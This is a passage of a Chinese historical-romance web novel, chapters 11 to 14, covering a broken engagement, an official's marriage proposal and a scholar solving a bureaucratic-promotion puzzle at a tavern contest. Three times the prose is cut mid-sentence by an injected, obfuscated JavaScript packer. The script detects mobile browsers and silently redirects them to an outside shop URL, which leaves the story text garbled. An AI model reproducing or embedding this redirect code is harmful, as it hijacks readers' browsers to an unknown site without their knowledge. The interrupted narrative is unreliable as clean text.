“对比起来，哥哥知尊卑，懂谦退，是最招女眷惦记的文臣模样，哥哥觉得蒙羞，特地告假回来避一避风头，可是我觉得，这事其实不难接受。” 江涣臣困惑且头疼，“你从哪里知道的这些？” 江慧织停顿住，知道这副点名道姓的说辞来得蹊跷，她敢照搬魏窈娘原话，就没打算把她和魏窈娘碰面的事情一直瞒着。 江涣臣轻微蹙眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935088|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“你还有两年就要出阁，这种话听听便罢，不该拿出来宣扬，焉知你今日褒贬他相貌声名，明日传到他耳朵里就不是话柄。” 江慧织根本顾不得这些，提到出阁就颇有怨怼。 “章家四郎好逸恶劳，又是督尉府里最弱的郎君，京城诰命重臣众多，遍地都是青秀栋梁，绢花随便打中一个都比他有能耐！” 江慧织声音急促起来，她注定是要做高门宗妇的，“等江廉两家结成姻亲，我何愁找不到更好的出路？” 江慧织及笄两年，已不是什么没有盘算的懵懂年纪，江涣臣意识到这些，之前好端端的突然变卦，也顺便看懂了原因所在。 “好话歹话都被你说了。” 江涣臣态度松缓，双手替她拢了拢外披，终于答应放弃冯家。 “孝道在前，我不会让父亲晚景凄凉，如家中所愿，我也会和冯家好聚好散，但是有一句丑话请你记住。江慧织，前程要靠自己争取，谁都有私心，却不是每一次都能踩他人的登云梯而涨自己形势。” “你和章督尉家换过庚帖，想要毁亲，这事找我没得商量，打算另寻出路，也休想指望我未来岳族。” 至此，江涣臣不再停留，面朝双亲示意宽心，而后大步离开了院落。 江慧织忽然就说不出话了。 当一点可怜的盘算都被推翻，一点私心都不被满足，江慧织慌张起来，整个人忽感摇摇欲坠。 江夫人只看到江涣臣替她拢衣御寒，对两人后来说了什么并不知情，缓慢走过来，替她摘掉发间枯叶。 “宣城秋意变浓，他的官假这些天也就结束了，且放宽心，等他回去，结果总会理想起来。” -- 冯筝醒时东方既白。 她早起用了一碗生姜茶，配点暖脾温补的药膳做食，这是三年前便害得的病灶，自打从襄阳回来时起，她对冷热的感知便敏感起来，每逢寒暑交变，冷汗总能湿透里衣。 换完衣裳出来，吴阿姆担心她冷，架起炭笼让屋里回暖。 炭笼是两天前就翻出来的。那夜她和高豫相继弃车，又相安无事般驱车回府，她披着高豫的围氅回来，却禁不住某句判词令她齿寒，等炭火把自己烘暖和了，才从如坠冰窖的凄凉里抽出神来。 冯筝眼神微垂，她对高豫的判词半信半疑，不过是因为，三年前他捏造身份瞒她全程，就顺便觉得，如今哄骗她第二回也不无可能。 冯筝薄得安慰，却想不通他诓骗她的理由何在，无解得久了，也不得不承认自己是在自欺欺人。 她难以接受高豫处境，酒楼相认时是，茶铺夜话时也是。 她对高相品行知之不详，不知道过往政绩如何，却很明白，“罪实难逭”的分量到底有多沉。 逭，逃也，高相有罪，在劫难逃。他好好一位辅弼重臣，倘若没栽这个跟头，或许能在青史简中续几行生平，如今在野闻书中满篇骂名，怎么不连累子女跟着吃尽苦头？ 人果然是善变的，在重逢刍荛以前，高相罪过如何无关她痛痒，重逢刍荛以后，她竟也开始多虑起来。 冯筝慢腾腾把热姜茶喝完，尽量不去在意这些，放下茶盏，刚好注意到吴阿姆扭捏地捂着袖笼。 吴嬷掏出信笺，“这是早晨门房捎来的，江府的管事来见，说都是姑娘曾经的笔墨。” 退信用意明显，没有江涣臣的首肯，管事不可能自作主张。吴嬷责怪道，“江郎君看着是个坚贞的，没想到和他祖母做一处想，现在外面都知道他和别的姑娘心意相通，我看情投意合是假，贪慕虚荣才是真。” 冯筝没有接她的话，沉静凝视着信纸，不知在做何感想，她起身把信笺锁进箱屉，回头，阿姆遗憾担忧的模样纳入眼里，冯筝笑得清亮。 “这种嘘寒问暖的亲笔信，比起留在他手里招惹闲话，收回来反倒更让我心安。就算他不主动归还，来日寻到机会，我也是要想办法讨回来的。” 12. 第12章 细细算来，在收到江涣臣退来的书信以前，母亲曾跟她商量过家中打算。 那时母亲就说，“想做咱家的郎婿，最好把桃花撇干净了，否则婚后，你指不定要受多少委屈。” 她就断舍离，答应不再跟这江郎纠缠。 温温顺顺地答应下来，明明再通情达理不过，却让吴阿姆在后来很长一段时间里，一直觉得五味杂陈。 姑娘对亲事态度随和，对人对事都喜好淡淡的，看不出什么特别的青睐。在旁人家姑娘还在对郎婿挑三拣四的时候，她则是认准家中替她相中的人选，认认真真付出了时间，跟江家郎君磨合性情。 春信潮湿，冬信覆雪，每年时节，不管江涣臣的来信或早或迟，她都会亲手拆开研读，并坚持回以等量的篇幅。 寒来暑往的信件一封封送去，不说姑娘对他有没有感情，单说这份用心的对待，姑娘已经做到了极致。 可惜对方终究辜负了她。 想到这里，吴阿姆短暂想不通，到底该慰藉姑娘替夫人省心，还是该苦恼她把自己过得过于寡淡，可自己又做不了什么，只能一味地对姑娘好，弥补她在江家面前受的委屈。 屋里纸张簌簌地响，是冯筝整理书信的声音。 她把江涣臣的东西整理一遍，打算原样奉还，吴嬷吩咐云雀去办，没找到云雀踪影，嗫嚅着“不靠谱”的话，这就揣着亲自去办。 云雀是夫人拨给冯筝的婢女，只要她没有差遣，便将孟氏的吩咐摆在第一顺位，因她坐卧起居向来自便，没有使唤婢女的习惯，这些年来，便经常纵容她这般没影。 偏偏就是此刻，云雀蹬蹬跑来，差点和吴嬷撞个满怀。 “姑娘快快梳妆打扮，夫人说不可怠慢了贵客！” 慌慌张张的模样本就让吴嬷瞧不顺眼，更别提这话荒唐，讲得姑娘跟樊楼卖唱的似的。吴嬷使劲瞪眼，云雀刚在前堂惊险过一场，仍对半刻钟前的事情心有余悸，没空搭理吴嬷眼色。 冯筝：“什么贵客？” “是胡督学。” 云雀把呼吸喘匀，脸上挂满喜色，“他和学事司的大人们同行，自称给子侄说媒来了！” 城西塾馆，小厮福登前来报信。 冯承琨从闹哄哄的童生堆里挣出身子，掖平书卷褶皱的角，听到访客来意，冯承琨动作一顿，告了假，匆匆踏上了回府的路。 府里，督学官胡祯居正位主宾座，学正宋茸居辅位次宾座，两位陪僚临他们而坐，分别是监司林崇，以及和他交情不错的同级董余昉。 提举学事司统驭各地学府，各郡塾馆书院，无不唯提举学事司马首是瞻。平日百官集议时都凑不齐的上峰，此刻齐刷刷坐在家中，陪着胡祯一起扭过脸来，冯承琨心府微震，对所谓说媒，登时品出一股逼婚的味道。 冯公出门给友人题匾，暂时没回来，堂中孟氏一人待客，等到丈夫出现，让渡出主位离席。 冯承琨生性不苟言笑，又不擅逢迎谄媚，板着脸时，便显得心情不太愉快。刚刚落座，瞥到茶盏里盛的不是茶，而是库房里常见的土贡梅煎，脸色更难看了。 他便招来福登，提起京禄府官供的那块茶饼，贴心指明，“从左边数第二个箱子，挂了银锁的那个就是了。” 福登语塞，老太爷自以为把东西藏得稳稳当当，偏偏谁都知晓藏匿处，还偏偏谁都来惦记一遍。 然而箱底已空，福登左右为难，不便明说茶饼去向，只好编着理由推脱。 奈何二爷不信，“这种上了年头的东西，家里还有谁能惦记？” 冯承琨不理睬，全当福登胆小，“怕什么，你只管拿，有错我来担！” 福登没办法，果真换了茶水前来，按照吩咐伺候完茶水，暗暗替姑娘捏一把汗。 冯承琨缓慢端起茶盏，冯筝那句笃定话，在福登耳畔嗡嗡地响—— “管他是官禄府的茶还是宣州的茶，保证我爹尝不出咸淡，胡大人等人有求而来，哪怕尝出不对，料想也不会当堂揭穿，你只管照做，有罪我来请！” 满座一派祥和，仿佛浑然不觉，屏风后，冯筝替自己松了口气。 三巡茶水过场，主座胡祯搁盏明言，“关于你我两家，现在坊肆间有一种说辞，不知宋同寅是否略知一二？” 冯胡两家没有交集，八竿子打不到一块的关系，冯承琨未曾听说坊间说辞，凭直觉猜出大概，还是把情绪藏进懵懂的表面。 他便摆出请教姿态，宋茸就笑，“宋同寅潜心治学，两耳不闻闲话倒也不难怪。” 胡祯会意，索性铺开了讲。 “前阵子我在衙门观谕旨，离去前，被几位老臣认出了脸。我尾随高豫前来，却不愿对此多费唇舌，便半真半假，说是蹭冯府酒席来的。” “胡某祖籍隔壁碧城，这事宣城远近皆知，蹭酒席的事情传扬出去，坊肆间拼一出原委，好事者们镶一圈花边，结果就成了，我欲替宗室的子侄登门求亲。” 说到这里，胡祯笑起来。 “族亲听说这事，逮着我好一通打听，我就说，府上姑娘瞧着适龄，他们追问，我又说，那孩子同我问过好，模样秀致知礼。一番追问，每一句都喜出望外，后来族叔们便央我来，打算把这个说辞给坐实了。” “以前听说，宣碧两地一直有一种说法，儿女双全的媒婆出面，做的是添丁媒，三品以上大员出面，保的就是乌纱媒。如今我披乌纱，着襕袍，不知宋同寅有没有想法，与我胡家喜结连理？” 胡祯圆领襕袍，乌纱围裳，模样整洁端庄，做足了求亲的高调姿态。 然而江家的前车之鉴在前，冯承琨痛定思痛，不敢轻易应允，又或者打心底里就没觉得这事能成，全程锁着眉头，让气氛也跟着紧绷起来。 婉拒的话，怎么讲都理由薄弱，到头来，冯承琨含蓄一笑，“早就听闻胡家郎君博闻强识，小女德资平平，只怕不能作配，婚配之事兹事体大，还望督学再三思量。” 相比胡祯慈眉善目，林监司林崇则有些面冷，碍于场合，往日威信拿不出手，只能忍着脾性，好言相劝。 “虽是阴差阳错，却同样也是一种缘分。胡家家风严谨，世代嫡子嫡媳，家中所出，都是循规蹈矩的士林子弟，嫁过去只有享福的份。况且胡大人都这样坦诚了，你又何必再讲客套疏远的话，糟蹋我等一片好意？” 胡祯摆摆手，对冯承琨的慎重表示理解，却不认可他的评价。 “冯公人品贵重，令嫒作为他亲自教养的孙辈，德容言功定有一番造化，更何况都是年轻小辈，各自资历尚浅，无需捧踩比较，冯同寅这是过谦了。” 各路视线虚虚交错一遍，还是学正宋茸替他解围，安抚林崇稍安勿躁，又转头暗示胡祯，对方需要时间考虑。 可惜好意并不奏效，宋茸的圆场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935089|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并没让冯承琨感到片刻轻松。 他顾虑重重，满座沉稳庄重，唯独他一捧茶盏悬了又放，在檀桌碰出清脆声响。 最后还是董余昉看不下去，强按疑惑劝道，“冯贤弟，胡家书香门第，你又一向崇文敬墨，两家结亲是当之无愧的好事，怎就如此让你抉择不下？” 宋茸附和：“如今在座的都是一个官邸的人，讲的也都是敞亮话，若有顾虑，但说无妨啊。” 冯公颇爱下棋题匾，一时半刻没法赶回来救场，冯承琨额头冒汗，也不清楚自己究竟在拖延什么。 二房的婚事，到底是得二房做主，冯承琨再拿不定主意，也只好把议亲失败的先例告诉胡祯，好让胡家知情后再做打算。 董余昉出声解释：“他说的，是那巴陵郡郡守江祜年府上。” 胡祯闻言点头，却不太在意，斟酌片刻后理解道，“原来是顾及令嫒名节。” “实话说，登门说媒以前，胡某对此事并不知情，哪怕预先得知了这些家私，今日这一趟，胡某还是会选择造访。” “你们两家前缘已散，前后又没有婚约保媒，我不在意，想来族叔们也不会在意。江家毁诺背信在先，百姓慧眼明辨，要挑也是挑他们的理，不会叨扰府上半句，哪怕往后，有人想起来吃回头草了……” 胡祯还以微笑，“江家近水楼台，他们怪胡家横插一足，胡家亦能责之捷足先登，所以冯同寅这是多虑了。” “婚配事宜，本就是双向选择的结果，既然令嫒尚未许配，冯家大可自主择婿，而我胡氏逢时而知，一朝遇上合适的姻亲，也自然没有望而却步的道理，你说是也不是？” 没有天花乱坠的自我褒扬，没有单调刻板的殷殷说教，他的通篇舒展温和，料是真正有底气的人家，哪怕将要面临被反复权衡的处境，也坦然展示着自己供对方甄选。 冯承琨聊得舒坦，话都说到这份上了，冯家哪里还有必要自缚贞操？ 他半推半就地松了口，两厢商量下，安排两家儿女择日相看。 冯承琨难得春风得意，恨不能立即把喜事告知夫人，福登奉命赶往后宅，穿过屏风这时，赫然撞到了人。 一声惊呼险险扼在喉间，却没有逃过在场耳目，冯承琨便是此刻站了起来，“谁在那里！” 冯承琨深屏一口气，在看到冯筝走出屏风时眉峰横跳，见她还要探出手去，捡她狼藉掉落在地上的耳饰，直觉颜面大失。 他忍怒呵斥，“捡什么捡，难道还不嫌丢脸？速速给我回去，也不怕叫人看了笑话！” 冯筝手腕细微一动，顶着震怒下意识缩回，冯承琨还欲再言，偏偏一道声音率先落地。 “冯姑娘，许久不见。” 藏青色翘履缓慢步入视野，冯筝收手入袖，俯仰之间，来客已经走到了跟前。 貌至中年的胡祯面含微笑，眼尾收梢处积着儒厚，就这么站在两步开外的地方，语速和缓地向她提问：“姑娘家对登门问亲者好奇，想探一探究竟也是常情，这就招致过分苛责，反倒显得动辄得咎。我看冯姑娘形端身正，既然不曾行差踏错，又因何缘故萌生退意？” 四面庭堂阒静一片，他说得如斯迟缓，顷刻间也无人打断，冯筝闻言微振，恍然神定中，面前胡祯一改静容，庄重压眸对她讲道—— “好孩子，捡起来。在自己的主场丢盔弃甲，才是叫外人看了笑话。” 13. 第13章 “还是没有准备好吗？” 云雀轻手轻脚地合上房门，对着铜镜倒映出的剪影试探地问。 铜镜“啪嗒”一声反扣在桌面，动静轻微，令云雀的声音跟着一颤，加快语速把话说完。 “奴婢知道，二爷话有点密，姑娘不想听，但道理总归没有说错。相看的事已经定下章程，无论如何都要把礼数走完，若姑娘对胡郎瞧不上眼，事后找托辞搪塞掉便是。今晚绫桥桥头，咱是如何都得走一趟的。” 冯筝一袭裙掩衣，青玉绦束她清瘦的腰，耳边一阵连珠炮砸完，冯筝偏过脸来。 “瞧把你惊的。我只是疑虑，你确定打探清楚，胡郎君约我在樊楼碰面？” 云雀哑然。 胡祯做媒当天，学事司的人前脚刚走，胡氏一纸请帖便送到了府门，于是今天辰时，吴嬷陪同二房前往碧城做客，待到晚膳过后才回。 碧城幅员大，路上得有两三个时辰。 云雀留在冯筝身边，伺候和提醒的活计两不误，原以为姑娘对新的亲事颇有怨怼，听她说话才明白，这是把樊楼当作秦楼楚馆了。 樊楼原做酒楼生意，三个月前换牌经营。新东家姓董，以倒卖书画典籍而出名，譬如郭诩琵琶行图轴，市面上绝版的《刑律疏议》，都曾在他手里转过一遭，樊楼被他接手，一顿改头换面也不难理解。 曾经评弹卖笑的风月地，变成了商贾官宦的名利场，冯筝得知这些，对于要在樊楼见准郎婿的事，顿时也没那么难接受了。 发间珠饰有些累赘，再梳戴一遍恐怕要晚，她没多纠结，蹬起软底的鞋履就往外走。 酉时百姓群集，沿街张挂的灯笼一直能延伸到远处绫桥，绫桥两端缚满红绸，这是樊楼又在布置雅集。 他们招揽顾客花样百出，惹得沿途百姓谈论正欢，冯筝摁着云雀的手走下马车，饱览眼前繁华时，也忍不住感叹新东家的财大气粗。 楼中宾客众多，他们素未谋面，相见也无凭信，碰上一面理当困难。 云雀环顾四周，生怕错过任何一个疑似胡郎的人，冯筝却丝毫不操心这些，胡郎君请她相见，自有手段明牌身份，走走停停叫云雀莫急。 夜风贴水而过，卷着片段乐章掠过二楼雅座，几声管弦音如裂帛般嘶哑一声，惊得满座学子瞬间静下来，随后，又重新猜起了今夜的题纲。 胡驹进一把掀起掩帘，率先撞上展青的脸，展青表情冷酷，显然没给他机会再往里闯，胡驹进没办法，扁扁嘴怪他如何难沟通。 展青置若罔闻，“三郎君答应了。等会儿答题前你自报家门，声音响亮些，冯家姑娘在场一听便懂，实在遇到困难，他会酌情帮你一把。” 胡驹进赶紧答谢，“那就麻烦高先生了。” 这段时间，樊楼靠诗文字画附庸风雅，吸引了不少读书人聚集，他随意选择在这里相看，没想到竟给自己挖了个坑。 那董姓的东家倒书贩子出身，编出来的题一次赛一次刁钻，若非自己勉力从文，应付起来有些困难，他何苦把家中新聘的老师搬出来救场？ 掩帘后，高豫倒一壶老茶，碗底碧螺春沉底。 一碗茶水入腹，高豫喉咙发苦，展青表情更苦。 高豫取笑他，“我是衣衫褴褛还是蓬头垢面，竟惹你见了这样不自在？” 展青没有正面回答，反手摸了摸脸，“很难看吗……我就长这样，难看也没办法。” “没有。倒是和城南酒楼那会儿，她背着我吃饼的神情有几分相像。” 展青便沉默住，安静片刻，生硬转开话题，“不知道胡叔是什么想法，知道你身份敏感不便露面，还把你搬出来给儿子镇场，招摇过众的事情，也不怕最后帮了倒忙。” “所以稍后还得劳烦你递话，我安分旁观，不会有人注意得到。” 展青果断应下，脑海却是另一种想法。 论气度论模样，高豫如何都出类拔萃。 说起气度，地方官精明，哪怕偶尔出公差时需要低调，他装束寒碜，缀在末尾，也总是最先被接见的那一个；再说模样，这副哪怕一身布襦芒履也无法埋没的相貌，说不会被注意那都是瞎话。 不敢苟同的话，只暗暗在心底过了一遍，忽闻管弦声黯淡下去，密集的鼓点将所有人的呼吸一把攥住，今夜赛事，正紧锣密鼓地筹备起来。 “某姓胡名驹进，碧城昭庄人士。” “某姓杜名秉容，宣城郊岭书院的儒生。” “督尉府上第四子章拱。” “……” 随着赛事开场，越来越多的青年自报来历参试。这是樊楼设下的规矩，以防事后冒领赏金，还要求誊录人将比试者的面貌特征记录在案，把誊录人忙得焦头烂额。 看客们看稀奇，时不时接头议论两句，一边女眷堆里，云雀对冯筝频频眨眼，冯筝会以“知晓”眼色。 冯筝向人群前望去。 籍贯姓氏都对得上号，想必就是“准郎婿”没错了。 男子貌似和她同龄，即便努力表现得志在必得，那只别在后腰的拳头，还是出卖了他的紧张。 她就莫名被逗乐了。 侍者推着屏帷走场，一扇扇屏帷经过，象征着曾经的题集陆续落幕。诸如宋人徐度的《却扫编》，五代王定保的《唐摭言》，典制掌故像长了腿的鞭子，抽得人脑仁突突地疼，胡驹进站在前方，感觉头盖骨传来好一阵酥麻。 等到最后一道屏帷揭晓了题面，役使宣读起来，所有跃跃欲试的年轻人，得知题纲的那刻，忽然间竟偃旗息鼓。 然后交头接耳，鼓噪中夹杂着一声声重复。 “平仕图。” “平仕图啊。” “何为平仕图？” 没等众人商量出个结果来，役使们拉动绳索，房檐绳索脱缚，二十丈宽的画布瀑布般展开。 秋闱放榜般的壮观景象里，缎面画布黄底黑字，其上罗列中枢官位，大小共计八十余级，经丝纬线串联起各方，纵横捭阖间打通国脉，形成了一幅百官辅弼、近臣拱极的王朝体系。 儒生们浑身一震。 所有人皆翘首观望。 高豫走到阑干前驻足，仿佛看到多年以前，礼部贡院的红墙边，张季安指着挂榜的榜文满面春光，激动地恭喜他，终于能够一雪前耻。 “高相爷心偏，从来都只带大郎君赴宴，这回你金榜题名，风光无限，来年宫里御赐的狍鹿赏，高相爷总该带你去吧？” 过往的画面和眼前图幅重叠在一起，一排排名姓变成官职，寂静挂在前方，挂在每一个人的呼吸前。 插科打诨的闲聊消失，取而代之的是暗潮涌动的震撼与不安。 高豫眼皮微坠，仿佛有什么锋利的东西，哪怕已经翻篇很久，依然扎得他眼底心底钝痛不已。 那股钝痛，源于殿试场上答时务策，带他回到了陛见授官的前夕，看到九旒冕后，一双猜忌的眼睛。 “你不要做乌台官，那你想做什么。” “朕的肱骨大学士吗？” 漆金的御笔捅到他胸膛，顺着喉骨往上，强迫他抬起头脸，等他明明确确道一声“不敢”。 而后被沉默惹怒，“说话！” 高豫被击鼓声打断。 “诚如诸位所见，画中，部分官位下已经预拟考评。此番比试的主题是，在遵照现有官律的前提下，解题者需找到一条唯一可行的升迁路径，从吏科给事中晋级宰辅大臣。” 赛事在密集的鼓声中拉开序幕，胡驹进宽衫博袖，四肢轻便，却觉得此刻脚步重逾千斤。 霎时间，唯有一个念头在脑海里轰鸣—— 这画超纲了。 …… 云雀从脂粉堆里腾出空位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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稍许，胡驹进眼睛一亮，捕捉到一点可怜的头绪，握着笔杆刷刷地舞，冯筝就是此刻动容了起来。 遥记得胡祯一句铿锵的鼓励，让她当时受益良多。她曾捡起耳饰戴了回去，体体面面回了住处，此刻就本能地不希望，他的子侄因无能破题而公然出糗。 一点点同情敛进眼尾，再抬头时，眼里写满期待：“这题你能解的，对吗？” 展青一惊：“奇怪，她是什么时候看到我们的？” 随后，一道稳定宽容的声音做出了决定。 “展青，帮我取一件披风来吧。” …… 高豫对她，不是什么言出法随的偏爱，更多的是推己及人的维护。 但这幅朝臣缩略图，象征着致使他革职的政权中枢，她明知对方削迹朝端，却仍然怂恿他招摇面对，这样做，会不会有些过于残酷？ 高豫袍衫素裹，拨开看新奇的人群向前走去，兜帽遮住他半幅容颜，察觉动静的人陆续回头，只见青年气度斐然。 青年目视前方，图幅暗描半壁山水，柔和的春意托举着朝纲，他迎着这道春色意旨，稳稳走进了一个圈套。 胡驹进看见高豫时，脑海闪过无数个疑问。 高先生？他为什么亲自过来，难道要替他出风头吗？ 脑袋很乱，却前所未有地感觉到惊险，胡驹进丢下纸笔追过去，立马被展青一把拦住。展青瞟向冯筝所在，强行扭他转了个面，不远处，云雀手挽冯筝微微颔首，冯胡两姓成功会面。 耳边，展青咬牙切齿的声音响起。 “胡驹进，你的难关过了。” “接下来，是属于郎君的难关。” 14. 第14章 案前香烛燃到一半，离比试结束还有时间，细碎的灰掉落，填满底座镂空的缝。 迟迟没有人给出正解。 答题者碰壁，丢下演算的纸笔接连退出，役使没办法，取来誊录着名姓的纸张一一划去。有儒生觉得颜面扫地，安静弃权，给后来者腾地方。 可惜偌大郡城，等不到一个能破题的。 役使等得懊恼，当拨开人群的高豫闯入视野，一种很明快的预感，莫名使他振奋起来。 没有辜负期待，高豫言语利落，“除了时限问题不再赘述，不知这幅图，对解题过程还有何要求？” 役使答无，“还是那句话，在遵照现有官律的前提下，从吏科给事中起始，目标晋级宰辅大臣，解题者需尊重考评，找到一条唯一可行的升迁路径。” 高豫朝书吏点了点头算是招呼，书吏捏着笔正百无聊赖，接到示意，挽袖蘸墨，直抵生宣。 一记编钟敲响，刻漏开始计时，高豫稍理头绪，随后复盘出职路轨迹。两个窄袖对襟的杂役出现，快速抬出一张长屏，他们守在书吏跟前，准备随时将写明他思路的纸张张贴示众。 一套按照惯例的常规操作，章程之丝滑，把一群儒生看懵了眼。 正题进入得太快，快得没人顾得上关心他来历，都忙着眺望平仕图，好将答题者的思路逐一验明。 “从吏科给事中晋至宰辅大臣，通俗来讲，就是由科举及第到参政中枢。题面看似点明了重点，实则目标依旧隐晦，只因按照庆律，‘宰辅大臣’只是泛称，在官释篇中并无特指，哪怕是执掌官吏任命的吏部，也无法明确地定义，宰辅到底算谁的尊称。” “不过司封司的典例写得很详实。宰辅，辅弼吏治，拱极之最也，所以宽泛地理解，左右宰相以及参知政事，都可以计入宰辅范畴。” 遥望画布顶端，帝级以下，高豫偏眸看向同级权要，冷静掠过诸般显赫。他甚至不用斟酌思考，果断排除了两条路径。 “至于枢密使与尚书令，无需纠结其权职大小是否冠得起‘宰辅’之称，画面中，二者轨迹单道连通，与六科给事中任意一科都不发生关联，稍作试水即可排除。回看正副两相及参知政事，二者甄别子枝，不难发现，其员额来源无非两种——翰林学士和知制诰。” “翰林学士和知制诰合称‘两制官’，分掌内外两制。知制诰为中书省属官，便是民间俗称的外制词臣。两制官之间存在联动，谨按律例所书，知制诰之优者可以提拔为翰林学士，这一条，在这幅图的附注，也就是考评之中亦有体现。” “至此，值得抉择的节点到了。” 高豫轻描淡写。话音落地的瞬间，看客们呼吸凝结，心也跟着揪在一起，像一枚误闯宫禁的棋子，战战兢兢地，寻求一块落脚之地。 “是直接咬定翰林学士，还是选择走知制诰这条路曲线自救，按理说不难决定：前者支脉繁多，单看考评，每一条走向都很稳妥，对比后者，一路埋伏着各种差错，稍有差池，罚俸贬谪在所难免。” “或许出于趋利避害的本能，惯性会选择翰林学士这条走向，殊不知结果根本经不起推敲。” 书吏绝望辍笔。出于照顾书吏速度，高豫没继续说下去，他停下等了等，书吏重新举起笔的时候，有儒生站出来提出质疑。 “如郎君所言，两制官皆有拜相机遇，既然直接晋位翰林行不通，走知制诰就行得通了？” “就算信了你的，咱后退一步，曲线自救，打算由知制诰提拔为翰林，再夺宰辅，可是从吏科给事中到知制诰这条线，途中罚则众多，哪一次不是遇评则贬？” 这些碰过壁的儒生，讲起罚则的滋味最有发言权，他们一个个讲着质疑的话，尽在高豫意料之中。 “这也就是我接下来所要讲的误区了。” 高豫继续推进。 “从吏科给事中起步，上行路径看似通达，然而成为两制官之前，总有触及瓶颈的时候，此后反复斡旋，随时陷入停摆困境。所以在此题中，执意趋利避害，规避罚则，结果只会自困迷津。” 一名稍微年长的儒生不能理解，几乎是甩了袖子喊道：“郎君说趋利避害是此题误区，请恕杜某难以认同！” “吏科给事中的路极其难走，遇评则贬也就罢了，困难是稍经贬谪，再想提拔，事后更是无疾而终……若不专心规避罚则，难不成一贬再贬贬出京去，还能等到圣人翘首、否极泰来？” 胡驹进站在展青身后，视线越过他宽阔的肩膀，问：“现在的书生都这么硬气的吗？” 展青偏头挑眉，抱臂挪开两步。 “总比某些软弱的强，只敢缩在我背后议论。” 胡驹进没搭理嘲讽，回头寻找冯姑娘踪迹，却见先前站着冯家主仆的位置，早已填上陌生面孔。 “我半途离场是个意外，这时候回去，给先生添堵可就不好了。” 胡驹进收了收心，“你看那姓杜的郎君，反应这样激烈，怎么先生好像也不着急？” 图幅前，杜秉林苦熬此题久矣。 他代入感太强，以至于说话时都有些动怒，然而让他匪夷所思的是，他似提到什么紧要处，引得答题的青年侧过头来，如见亡路之徒迷途知返，眸中一记赞赏一晃而过。 短时间，杜秉林的质疑受众颇广，众人成群起哄。 在“受贬出调，岂非更难复起”之类的质疑声中，杜秉林受那记眼神惊扰，刚想跟进并探寻出什么，青年却话锋一转，让当前议题顿时扭转。 “庆律官禄篇载明，朝臣担任知制诰，要有州郡一级的履职经历。” 满楼先是寂静一片，霎时间一石激起千层浪，读书人当场手翻札记，但经史子集岂会收录这些律例？ 当州县履历成为要件，贬谪出京反倒变成正解，当平仕图并未写明的细则，与最初“遵照现有官律”的前提不谋而合，所有人都开始正视这条律例。 满楼嘲评，渐渐扭转为指责命题者不厚道，四周风评倒戈，杜秉林顿时心情复杂。 很难讲的清，这名竞逐者的出现对他来说，到底是一种羞辱，还是确切来说更像一种救场。他嘴唇翕张正打算问点什么，却见青年双眸微沉，调转身形直面图幅。 “——今有举子佚名，登科，初授吏科给事中，协掌吏部政事，后逢高官举荐，留任吏部员外郎一职，后因表达政见时殿驳失仪，考评失格，左迁集贤殿校书郎，从事国史修撰之业。同年，转任光禄寺少卿，期间被弹劾所修国史中存在笔误，罚没官俸一年，出任崇安郡郡尉。” “外放崇安后，佚名政心懈怠，在职期间，贪墨粮饷获罪，念其数额微薄，上命撤案，免其牢狱之灾之余，再贬，贬任招远签判。” “任期第三年，佚名破获当地要案有功，蒙朝廷恩典复官，又受庆律官典三卷第十九条籍贯回避制度所限，不得与其时任光禄寺卿的同乡互为臣属，遂离光禄寺，转集贤殿直学士。” “返朝第五年，佚名在刊缉经书中建树颇丰，加之文辞典雅，擢任知制诰，正式接触政事机要，又于次年述职中考评取优，当履庆律官典二卷三十七条，授翰林学士。至此，佚名前途无忧，五年后，晋至参知政事，享三品官俸。时年距其登科，满打满算刚好二十载。” 高豫复盘完毕，简单评价。 “先不说出题者为了提高难度，一路鼓吹仕途坎坷，在当前鼓励科举取仕的政策环境中合不合适，就说其大费周章，投机取巧，最后构设出的，竟是这样一位污点功臣。” 鸦睫一振，高豫质问役使。 “朝廷对贪墨之举容忍底线极低，自景仁四年秋起，便勒令案牍库彻查线索，即便官员的履历毁誉参半，有这样一条劣迹存在，也非仕人所能姑息。劣迹功臣难登大雅之堂，这样背离取仕价值的答案，却有人倒逼解题者寻之，并将其视为正解宣之于众，敢问樊楼是何居心？” 人群静了一瞬，刹那间声讨四起，杜秉林向后踉跄一步，等他再抬头看那张平仕图时，忽然觉得帛画所载，面目可憎—— 稳坐朝端的权要咧开唇齿，嘲笑他从始至终瞻仰的东西，不过只是一场骗局。杜秉林浑身战栗，从这突然揭穿的惊险里，一寸一寸嗅出恶意。 “此题解不出也罢，只要有人说出答案，若没有清晰的思路澄清自己，澄清立场，反倒要面临强烈的责难，这样一来，樊楼岂不是把我等学子骗进来杀？” “岂有此理，效仿放榜却编织险途，结果粉饰了一群拥功自重的污吏，如此目无王法，难道不怕今上治罪，责你们一个儿戏朝纲，离经叛道！” 儒生们群起围攻，役使惊慌失措，想不到苦苦盼来的破题人，三言两语的功夫，就把整座樊楼推入险境。 一阵推搡中， 